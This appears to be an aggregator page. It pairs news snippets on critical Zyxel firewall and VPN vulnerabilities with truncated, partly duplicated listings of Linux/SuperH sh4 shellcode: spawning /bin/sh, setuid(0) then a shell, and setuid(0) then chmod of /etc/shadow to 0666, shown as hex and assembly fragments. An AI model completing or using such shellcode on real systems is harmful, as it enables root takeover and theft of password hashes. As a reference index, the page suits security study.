Zyxel Issues Critical Security Patches for Firewall and VPN Products

Zyxel has released software updates to address two critical security flaws affecting select firewall and VPN products that could be abused by remote attackers to achieve code execution. Both the flaws – CVE-2023-33009 and CVE-2023-33010 – are buffer overflow vulnerabilities and are rated 9.8 out ...

Zyxel Firewall Devices Vulnerable to Remote Code Execution Attacks — Patch Now

Networking equipment maker Zyxel has released patches for a critical security flaw in its firewall devices that could be exploited to achieve remote code execution on affected systems. The issue, tracked as CVE-2023-28771, is rated 9.8 on the CVSS scoring system. Researchers from TRAPA Security...

Linux/SuperH (sh4) - execve(/bin/sh, 0, 0) Shellcode (19 bytes)

/ | Title: Linux/SuperH - sh4 execve"/bin/sh", 0, 0 - 19 bytes | Date: 2011-06-22 | Tested on: Debian-sh4 2.6.32-5-sh7751r | Author: Florian Gaultier - agix - twitter: @Agixid | | http://shell-storm.org / include include int main char shell = "\x0b\xe3"// mov 11,r3 "\x02\xc7"// mova @10,pc,r0...

Linux/SuperH - sh4 - setuid(0) ; execve("/bin/sh", NULL, NULL) - 27 bytes

No description provided by source. / Linux/SuperH - sh4 - setuid0 ; execve/bin/sh, NULL, NULL - 27 bytes Tested on debian-sh4 2.6.32-5-sh7751r by Jonathan Salwan - twitter: @jonathansalwan 400054: 17 e3 mov 23,r3 400056: 4a 24 xor r4,r4 400058: 0b c3 trapa 11 40005a: 3a 23 xor r3,r3 40005c: 0b e3...

Linux/SuperH - sh4 - setuid(0) ; execve("/bin/sh", NULL, NULL) - 27 bytes

/ Linux/SuperH - sh4 - setuid0 ; execve"/bin/sh", NULL, NULL - 27 bytes Tested on debian-sh4 2.6.32-5-sh7751r by Jonathan Salwan - twitter: @jonathansalwan 400054: 17 e3 mov 23,r3 400056: 4a 24 xor r4,r4 400058: 0b c3 trapa 11 40005a: 3a 23 xor r3,r3 40005c: 0b e3 mov 11,r3 40005e: 02 c7 mova...

Linux/SuperH (sh4) - execve("/bin/sh", 0, 0) Shellcode (19 bytes)

Linux/SuperH sh4 - execve"/bin/sh", 0, 0 Shellcode 19 bytes. Shellcode exploit for SuperHSH4 platform / | Title: Linux/SuperH - sh4 execve"/bin/sh", 0, 0 - 19 bytes | Date: 2011-06-22 | Tested on: Debian-sh4 2.6.32-5-sh7751r | Author: Florian Gaultier - agix - twitter: @Agixid | |...

Linux/SuperH-sh4-setuid(0)-chmod("/etc/shadow", 0666)-exit(0)-43 bytes

/ Title: Linux/SuperH - sh4 - setuid0 - chmod"/etc/shadow", 0666 - exit0 - 43 bytes Date: 2011-06-22 Tested on: Debian-sh4 2.6.32-5-sh7751r Author: Jonathan Salwan - twitter: @shellstorm http://shell-storm.org seteuid: mov 23, r3 xor r4, r4 trapa 2 chmod: mov 15, r3 mova @24, pc, r0 mov r0, r4 mo...